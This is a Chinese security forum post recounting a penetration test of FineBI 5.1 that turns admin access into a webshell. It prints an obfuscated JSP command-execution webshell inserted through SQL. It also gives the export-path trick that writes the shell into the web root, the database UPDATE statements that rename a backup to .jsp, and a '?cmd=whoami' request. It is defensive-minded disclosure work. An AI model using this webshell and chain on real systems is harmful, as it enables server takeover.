安全矩阵

 找回密码
 立即注册
搜索
查看: 9064|回复: 0

记一次曲折的后台 getshell 过程

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-1-22 22:54:17 | 显示全部楼层 |阅读模式
原文链接:记一次曲折的后台 getshell 过程


最近团队在对某个厂商进行测试,辛辛苦苦搞了快一个星期才拿到一个 shell,弟弟太惨了


0x01 开始复现
访问 url 进入登录界面,输入管理密码进入页面

请装作没有看到我那个失败的 XSS,过了这么久也忘记在哪里改回来了

进入页面

我这咋一看,我丢这不是和通某 OA 差不多吗,当初通某 OA 刚发的时候,全是 XSS,越权,SQL 注入,未授权啥的,那时候也是更上了那次风,小赚了一笔

好了,不扯皮了,正式开始复现,进入页面后,点击数据准备

添加一个业务包,点击进去后发现可以添加数据表


在一看右上角有一个全局更新,点进入一看,我丢,数据表内容可以任意位置存放

看到之后,心想这不就翱翔了嘛,系统管理处好像有个添加数据库连接,这波就直接在本地数据库插入一个马子,在到这里一连接,然后一添加表,在一导出,不就直接 getshell 啦

直接开始操作,进入本地数据库,选择 phpstuby 创建数据库自带的 sys 数据库,进入在创建一个 test 表
use sys ; create table test(test varchar(2555) not null);



在数据库中插入木马内容,因为是 java 环境就是插入 jsp 的马子
insert into test(test) values ('<%if(request.getParameter("cmd")!=null){Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }))rocess e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), request.getParameter("cmd") );java.io.InputStream in = e.getInputStream();int a = -1;byte[] b = new byte[2048];out.print("
");while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("");} %>');


回到系统中,将自己数据库添加进去,系统管理-数据连接-数据连接管理-新建数据连接

选择 mysql,添加配置


测试连接

回到数据准备处


找到我们创建的 test 数据库中 test 的数据表,确定

查看我们的马子:

马上见证奇迹的时候了

点击全局更新,修改下路径,注:因为路由问题,是无法直接访问的,需要放到 C:\FineBI5.1\webapps\webroot\scripts 路径下,但因为目录下必须为空,所以需要在前面随意添加目录,它会自动创建

点击立刻更新多维数据库

注:它默认会有很多数据,建议提前全部删除,我这里之前已经删了,就不搞了
查看文件是否到了指定目录,文件位置在
C:\FineBI5.1\webapps\webroot\scripts\admin\db\T_C162F2\super\P-1\S-1下
查看文件中

然后我们就发现了一个很严重的问题.....不是 jsp 后缀,这不就当场裂开了吗

但是现在就差着临门一脚,怎么可能半途放弃,现在能解决我现在就两种方法了,文件包含,和任意文件名修改了,不过 java 站好像没得文件包含吧,手动滑稽,现在就只能一条路了,任意文件名修改,其实的话,原本是有一个的...但是是我朋友先发现的,就提交给某天了,导致没得用,现在就简单的给大家看一下

就是这个位置,任意文件名修改,用个 burp 抓个包改就好了,具体就不演示了,然后还有什么办法了呢,想了一天之后,终于给我找到了一处可能可以的

位置在:管理系统-智能运维-备份还原处

看到左上角角落里躲着一直设置的图标,点击一下

可以看到这又是一个任意文件存放,但是没啥用因为我们要的是任意文件名修改,所以主题不在这里,随意改一下备份路径等下好找,保持,回到页面,点击一下手动备份,名字随意

现在重点来了,拿小本本记号,必考
勾选之前的备份,开启 burp,点击重命名


发现好像只有一个 ID 来判断文件, 没有指定文件名,当时脑子就一晃,难道我就真的不能 getshell 了吗

不不不,仔细一想,它好像走的是数据库欸,然后一个 ID 和一个 name,那么数据库中必定包含着文件路径,要不然怎么修改,对了忘记给文件路径的图片了,文件目录在
C:\FineBI5.1\webapps\webroot\backup\config\manual\

这么长的路径,不管怎么说都得有个路径吧,现在就进入数据库找一找,

不负所望有了路径,应该只需要需要 backupName 和 savePath 两个参数就可以实现任意文件名修改了

现在就会有人问了,怎么才能连接数据库呢,不着急且听我慢慢道来,,在系统中有管理权限,可以配置外接数据库,只要有一台外网服务器,一个符合数据库版本和允许远程登录的数据库,不就成了么
开始实现:
位置在:管理系统-系统管理-常规-外接数据库


家境贫寒没有服务器,就找个我兄弟的服务用了一下,等下和他意思意思一下就可以了,现在说一下为什么要配置外接数据库,Finebi5.1 配置了外接,内容所有数据都会存入外接数据库当中,然后....手动滑稽

注意数据库版本是被指定的



咳咳,回到正题,现在我们开始修改数据库内容,至于表怎么找到的,别问,问就是一个一个翻
update fine_backup_node set backupName="col-0-dic" where backupName='2020.12.29_10.11.24123';
update fine_backup_node set savePath="../scripts/admin/db/T_C162F2/super/P-1/S-1" where savePath='../backup/config/manual';
再次查看发现已经修改成功

这里说一下,为什么是把文件名改为 col-0-dic,而不是直接加上 jsp,因为它这个是会在指定的那个路径去寻找文件,如果改为 col-0-dic.jsp 就找不到文件了,所有现在就开始快乐的修改文件名环节

修改数据库后,回到系统后,刷新

可以看到文件名已经修改,现在开始重命名添加上 jsp 后缀

保存,到主机上查看

发现已经被修改,访问执行 whoami,参数是 cmd,GET 请求
IP:端口/webroot/scripts/admin/db/T_C162F2/super/P-1/S-1/col-0-dic.jsp?cmd=whoami

成功了,历时五天六个小时,终于 getshell 了


0x04 结语
现在就是已经拿到 shell 权限了,因为是用管理权限运行的,至少都是一个管理员权限,不就想干啥干啥了,然后其中还有很多很多挫折的,试了很多很多方法,才找到一个(果然还是我太菜),但还是不负众望(相关漏洞已提交至某天 src)


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 15:46 , Processed in 0.021178 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表